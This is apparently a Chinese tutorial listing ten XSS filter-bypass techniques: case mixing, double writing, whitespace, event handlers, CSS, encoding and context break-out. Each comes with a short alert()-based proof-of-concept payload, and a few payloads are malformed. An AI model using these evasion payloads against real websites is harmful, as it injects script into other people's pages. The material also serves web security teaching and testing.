通常进行XSS脚本攻击时,一般网站都是有防护措施的,比如过滤掉我们script,javascript,或者长度限制等等,这时需要我们对我们的脚本进
行简单的变形,打到我们的目的,下面是我对常见的一些变形的分类,以及部分操作演示
1.使用<>标记插入HTML/js代码,
1 | <script>alert(1)</script> |
2、html标签属性值执行XSS
1 | </img src="javascript:alert(/xss/)"> |
3、使用空格、回车、tab
1 | <img src="java script:alert(/xss/)"> |
4、大小写
1 | <ScrIpT>alert(1)</sCRiPt> |
5、双写(重复写产生就页面只会过滤一次,我们多写一次就行了,如下
1 | <ScrScrpitIpT>alert(1)</SscriptCRiPt> |
6、利用自己事件去构造payload,常见有 onclick、 onmouseover 、onerror 、 onload、等等
1 | <input type="button" value="click" onclick="alert('xss')" /> |
1 | <img src="#" onerror=alert('xss')> |
1 | <BODY+ONLOAD=alert(514)> |
7、拆分
1 | <script>z='document.'</script> |
8、CSS中构造XSS payload**
1 | <div style="background-image:url(javascript:alert('xss'))"> |
9.字符编码(这里给推荐二个加密网站:http://ctf.ssleye.com/,或者http://xssor.io/),URL、ASCII、HTML、Characters编码、十六进制、十进制、Unicode、混合编码、CSS编码
1 | <a href="document.writeln("javascript:alert(\/xss\/)");"></a> |
10、根据上下文构造payload(这种应该是最实用的,但是需要我们有熟练的js语言基础),如
我们看到这里是有XSS注入点,但是他是在里面,就急需要我们,先吧前面的双引号闭合了,然后再把前面的<闭合了,如此来构成payload
1 | "><input type="button" value="click" onclick="alert('xss')" /> |